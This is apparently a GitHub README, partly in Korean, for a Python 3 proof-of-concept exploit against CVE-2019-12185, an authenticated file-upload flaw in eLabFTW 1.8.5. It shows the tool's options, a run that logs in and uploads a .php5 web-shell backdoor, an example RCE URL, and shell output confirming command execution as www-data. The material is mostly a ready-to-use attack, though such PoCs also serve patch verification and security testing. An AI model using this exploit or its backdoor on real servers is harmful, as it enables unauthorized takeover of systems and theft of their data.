drew-alleman/cve-2019-12185CVE-2019-12185 - eLabFTW 1.8.5 Python3 익스플로잇 PoC
eLabFTW 1.8.5는 /app/controllers/EntityController.php 구성 요소를 통해 임의 파일 업로드에 취약합니다. 이로 인해 원격 코드 실행이 발생할 수 있습니다. 공격자는 사용자 계정을 사용하여 POST 요청을 통해 시스템을 완전히 장악할 수 있습니다. 이를 통해 PHP 파일을 웹 루트에 작성하고 원격 서버에서 코드를 실행할 수 있습니다. --> https://nvd.nist.gov/vuln/detail/CVE-2019-12185
$ python3 CVE-2019-12185.py --help
usage: CVE-2019-12185.py [-h] [--shell SHELL] [-e EMAIL] [-P PASSWORD] [-u URL] [--port PORT] [--no-verify] [--silence-warnings]
eLabFTW 1.8.5 arbitrary file upload / RCE (Python3). Either use --shell to start an non-interactive shell, or provide login args to upload a new one.
options:
-h, --help show this help message and exit
--shell SHELL Full URL to existing .php5 backdoor in /uploads (e.g., https://host/uploads/..../abc.php5)
-e, --email EMAIL Login email
-P, --password PASSWORD
Login password
-u, --url URL Base URL (e.g., https://192.168.1.10)
--port PORT Port override (defaults to 443 for https, 80 for http)
--no-verify Disable TLS certificate verification
--silence-warnings Silence urllib3 InsecureRequestWarning (effective only with --no-verify)
$ python3 CVE-2019-12185.py -e [email protected] -P password -u https://192.168.116.235 --no-verify --silence-warnings
[INFO] Disabled warnings about insecure https certifications.
[INFO] Loaded URL: 'https://192.168.116.235'
[INFO] Attempting to grab a form token from elabftw...
[INFO] Attempting to login with the provided credentials and form token...
[INFO] Succesfully sent payload to target!
[INFO] Check for a shell: https://192.168.116.235/uploads/
[INFO] Example RCE: https://192.168.116.235/uploads/82/82b757007585fa963c82b09.php5?e=whoami
백도어는 elabftw uploads 디렉터리에서 찾을 수 있습니다.
$ python3 CVE-2019-12185.py --shell "https://192.168.116.235/uploads/4c/4cc58d211b453aa9b21b00b77284295de18300693f5755ea1f41b331a2d04384b9524bc87179601e55fdf5279dc945681ea1948ed6ac30c6ef4899db8c3a051a.php5" --no-verify --silence-warnings
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls -las
total 12
4 drwxr-xr-x 2 www-data www-data 4096 Aug 16 23:14 .
4 drwxr-xr-x 4 www-data www-data 4096 Aug 16 23:14 ..
4 -rw------- 1 www-data www-data 45 Aug 16 23:14 4cc58d211b453aa9b21b00b77284295de18300693f5755ea1f41b331a2d04384b9524bc87179601e55fdf5279dc945681ea1948ed6ac30c6ef4899db8c3a051a.php5
$